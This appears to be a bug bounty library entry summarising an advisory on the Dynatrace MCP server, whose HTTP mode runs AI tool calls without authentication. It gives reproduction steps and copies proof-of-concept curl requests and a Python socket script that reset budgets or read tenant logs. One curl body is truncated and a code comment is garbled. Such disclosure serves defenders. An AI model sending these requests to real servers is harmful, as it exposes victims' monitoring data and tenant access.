# `@dynatrace-oss/dynatrace-mcp-server` has Unauthenticated HTTP MCP Tool Invocation

dynatrace-mcp-server's --http mode dispatched MCP tools/call with no auth, letting any network attacker run execute_dql under the victim's Dynatrace credentials.

- Payout: Research
- Severity: high
- Program: Dynatrace MCP Server
- Found by: EQSTLab, 232-323, yotampe-pluto
- Disclosed: 2026-07-31
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-p7w7-4929-vpj5
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-p7w7-4929-vpj5
- Tags: area:ai domain:ai domain:api impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:llm tech:rest technique:source-review vuln:access-control vuln:auth-bypass vuln:info-disclosure

**Target:** MCP server HTTP transport endpoint (JSON-RPC tools/call)
**Root cause:** HTTP mode creates a StreamableHTTPServerTransport with sessionIdGenerator undefined and no bearer-token, session, Host or Origin validation, then parses the raw body and dispatches it directly to tool handlers.
**Steps:**
1. Start server with `--http --port 3999 --host 0.0.0.0` (demo env `DT_ENVIRONMENT=https://abc12345.apps.dynatrace.com` skips API connectivity check).
2. POST to `http://127.0.0.1:3999/` with headers `Content-Type: application/json`, `Accept: application/json, text/event-stream`, `Mcp-Protocol-Version: 2025-03-26` and no `Authorization` header.
3. Body: `{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"reset_grail_budget","arguments":{}}}`.
4. Observe HTTP 200 text/event-stream with `Grail Budget Reset Successfully` result, proving unauthenticated dispatch.
5. Swap tool to `execute_dql` with `{"query":"fetch logs | limit 10"}` to read tenant data under the server's credentials.
**How found:** Code review of the --http startup path: noticed StreamableHTTPServerTransport constructed with sessionIdGenerator undefined and no auth/Host/Origin checks, then traced which tool handlers call createAuthenticatedHttpClient without a preceding requestHumanApproval gate.
**Exploitation:** Attacker with network reach to the port sends a raw JSON-RPC tools/call without credentials; the server executes it using its configured Dynatrace token, returning query results (logs, security events, user sessions, metrics) or writing notebooks to the tenant.
**Escalation:** Deployments bound to 0.0.0.0 or container-exposed ports allow remote unauthenticated access with no user interaction; localhost-only deployments remain exposed via DNS rebinding or same-host compromise.
**Insight:** In MCP servers, the human-approval gate (requestHumanApproval) is the only guard on sensitive tools and it silently fails closed for non-elicitation transports; audit which tools call createAuthenticatedHttpClient without that gate, and check whether the HTTP transport sets sessionIdGenerator/allowedHosts at all.

## Proof of concept (copied exactly from the original report)

**Unauthenticated curl tools/call reset_grail_budget**

```
curl -sS -N -X POST http://127.0.0.1:3999/ \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H 'Mcp-Protocol-Version: 2025-03-26' \
  --data '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"reset_grail_budget","arguments":{}}}'
```

**Unauthenticated execute_dql data exfiltration request**

```
curl -sS -N -X POST http://<server>:3000/ \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H 'Mcp-Protocol-Version: 2025-03-26' \
  --data '{
    "jsonrpc": "2.0",
    "id": 2,
    "method": "tools/call",
    "params": {
      "name": "execute_dql",
      "arguments": {
        "query": "fetch logs | limit 10"
```

**Python PoC sending unauthenticated MCP tools/call**

```
payload = json.dumps({
        "jsonrpc": "2.0",
        "id": 1,
        "method": "tools/call",
        "params": {
            "name": "reset_grail_budget",
            "arguments": {}
        }
    })

    # authentication header textas omit - textthattext vulnerability prooftext key point
    request = (
        f"POST / HTTP/1.1\r\n"
        f"Host: {host}:{port}\r\n"
        f"Content-Type: application/json\r\n"
        f"Accept: application/json, text/event-stream\r\n"
        f"Mcp-Protocol-Version: 2025-03-26\r\n"
        f"Content-Length: {len(payload)}\r\n"
        f"Connection: close\r\n"
        f"\r\n"
        f"{payload}"
    )

    s = socket.create_connection((host, port), timeout=TIMEOUT)
    s.sendall(request.encode())

    response_chunks = []
    s.settimeout(TIMEOUT)
    try:
        while True:
            chunk = s.recv(4096)
            if not chunk:
                break
            response_chunks.append(chunk.decode("utf-8", errors="replace"))
    except socket.timeout:
        pass
    s.close()

    return "".join(response_chunks)
```

